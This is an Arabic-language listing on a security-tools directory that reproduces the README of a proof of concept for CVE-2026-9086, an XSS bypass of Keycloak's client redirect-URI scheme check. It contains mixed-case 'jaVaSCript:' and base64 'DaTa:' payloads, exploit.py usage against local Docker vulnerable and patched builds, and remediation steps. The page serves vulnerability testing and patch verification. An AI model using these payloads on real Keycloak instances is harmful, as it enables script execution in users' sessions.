Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-9086-poc — CVE-2026-9086 إثبات مفهوم لتجاوز التحقق من URI للعميل في Keycloak باستخدام حمولات XSS بحالة أحرف مختلطة عبر javascript: وdata:، مع تحقق قائم على Docker من الإصدارات المعرضة للثغرة والإصدارات المصلحة. | Kitploit
أدوات/GitHubGitHub/saku0512/cve-2026-9086-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

CVE-2026-9086 إثبات مفهوم لتجاوز التحقق من URI للعميل في Keycloak باستخدام حمولات XSS بحالة أحرف مختلطة عبر javascript: وdata:، مع تحقق قائم على Docker من الإصدارات المعرضة للثغرة والإصدارات المصلحة.

عرض المستودع
1منذ 10 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-9086: إثبات المفهوم (PoC) لتجاوز التحقق من مخطط URI في Keycloak مع ثغرة XSS

النسخة الإنجليزية

نظرة عامة

يحتوي هذا المستودع على إثبات المفهوم (PoC) لثغرة Cross-Site Scripting (XSS) CVE-2026-9086 في التحقق من URI الخاص بالعميل في Keycloak.

كان Keycloak المُصاب بالثغرة يتحقق من مخططي javascript: و data: في الـ URIs المُعرَّفة للعملاء بشكل يميّز بين الأحرف الكبيرة والصغيرة. لذلك، يمكن استخدام تدوين مختلط مثل jaVaSCript: أو DaTa: لتجاوز التحقق من المخططات المحظورة. وبما أن المتصفحات تفسّر مخططات URI دون تمييز بين الأحرف الكبيرة والصغيرة، فقد يتم تنفيذ JavaScript في أصل (Origin) Keycloak إذا نقر الضحية على رابط مُعدّ خصيصًا.

يُشغّل هذا الـ PoC إصداري Keycloak 26.6.3 (الإصدار المُصاب) و26.6.4 (الإصدار المُصحَّح) عبر Docker، ثم يسجّل نفس URI بالتدوين المختلط من خلال Admin REST API. ويؤكد أن التسجيل ينجح في الإصدار المُصاب ويُرفض برمز HTTP 400 في الإصدار المُصحَّح.

لا يفتح هذا الـ PoC الـ URIs المسجلة في المتصفح ولا ينفّذ JavaScript.


إخلاء مسؤولية

يُقصد من هذا المشروع الأغراض التعليمية والاختبارات الأمنية المصرّح بها فقط. لا تستخدمه لإجراء اختبارات غير مصرّح بها على بيئات Keycloak تابعة لجهات أخرى. لا يتحمّل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار أو الأعمال غير القانونية الناتجة عن استخدام هذه الأداة.


تفاصيل الثغرة

  • CVE ID: CVE-2026-9086
  • المنتج: Keycloak / Red Hat build of Keycloak
  • النوع: Cross-Site Scripting (CWE-79)
  • CVSS v3.1: 7.3 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • الصلاحيات المطلوبة: صلاحية manage-client أو الوصول إلى نقطة نهاية تسجيل العميل
  • تفاعل المستخدم: يتطلب النقر على رابط مُعدّ خصيصًا
  • الإصدار المستهدف في PoC: Keycloak 26.6.3
  • الإصدار المُصحَّح في PoC: Keycloak 26.6.4
  • النطاق المتأثر (NVD CPE): Red Hat build of Keycloak 26.4 وما فوق حتى أقل من 26.4.13، و26.6 وما فوق حتى أقل من 26.6.4

السبب الجذري

كان DefaultClientValidationProvider قبل الإصلاح يقارن المخططات المحظورة باستخدام String.equals().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equals("data")
        || uri.getScheme().equals("javascript"))) {
    // reject
}

وبما أن java.net.URI#getScheme() يحافظ على حالة الأحرف في المدخلات، فإن الـ URIs التالية لا تطابق عملية المقارنة وتمر عبر التحقق.

root@kitploit:~
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+

أما في الإصدار المُصحَّح فيُستخدم equalsIgnoreCase().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equalsIgnoreCase("data")
        || uri.getScheme().equalsIgnoreCase("javascript"))) {
    // reject
}

إثبات المفهوم (طريقة الاستخدام)

1. تشغيل البيئة

شغّل الإصدار المُصاب والإصدار المُصحَّح باستخدام Docker Compose.

root@kitploit:~
docker compose up -d

الأهداف التي سيتم تشغيلها:

URLالإصدارالنتيجة المتوقعة
http://localhost:8180Keycloak 26.6.3نجاح تسجيل URI (مُصاب)
http://localhost:8181Keycloak 26.6.4HTTP 400 (مُصحَّح)

قد يستغرق التشغيل الأول بعض الوقت. يمكنك التحقق من الحالة بالأمر التالي.

root@kitploit:~
docker compose logs -f

عند ظهور Listening on في سجلي الخدمتين، اضغط Ctrl+C لإنهاء عرض السجلات.

2. التحقق من الإصدار المُصاب

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8180 \
  -u admin \
  -p admin \
  --expect vulnerable

الإخراج المتوقع:

root@kitploit:~
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.

كما يعيد السكربت استرجاع العميل المُنشأ من خلال Admin API ويتأكد من حفظ URI المُعدّ خصيصًا.

3. التحقق من الإصدار المُصحَّح

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8181 \
  -u admin \
  -p admin \
  --expect fixed

الإخراج المتوقع:

root@kitploit:~
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.

4. التحقق من مخطط data:

بتحديد --scheme data، يمكنك التحقق من URIs بتدوين مختلط مثل DaTa:.

root@kitploit:~
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed

5. التنظيف

root@kitploit:~
docker compose down -v

آلية عمل الـ PoC

ينفّذ exploit.py الإجراءات التالية فقط:

  1. الحصول على رمز وصول للمسؤول باستخدام admin-cli
  2. توليد معرّف عميل عشوائي
  3. تعيين URI بتدوين مختلط jaVaSCript: أو DaTa: في redirectUris
  4. إرسال طلب إنشاء العميل إلى /admin/realms/master/clients
  5. في الإصدار المُصاب، إعادة استرجاع العميل المحفوظ والتحقق من URI
  6. في الإصدار المُصحَّح، التحقق من HTTP 400 ورسالة خطأ المخطط المحظور

لا يتم تشغيل المتصفح، ولا الانتقال إلى الـ URI المسجل، ولا تنفيذ JavaScript.

الإجراءات العلاجية

قم بتحديث Keycloak الإصدار 26.6.x إلى 26.6.4 أو أحدث، وRed Hat build of Keycloak الإصدار 26.4.x إلى 26.4.13 أو أحدث.

بالتوازي مع ذلك، قم بمراجعة إعدادات URIs للعملاء الحاليين واحذف أي قيم تستخدم javascript: أو data: بغض النظر عن حالة الأحرف. كما يجب تقييد صلاحية manage-client والوصول إلى نقطة نهاية تسجيل العميل إلى الحد الأدنى الضروري.

معلومات مرجعية

  • NVD: CVE-2026-9086
  • Red Hat: CVE-2026-9086
  • Keycloak issue #50347
  • Keycloak fix commit 32cdceb
تنزيل الأداة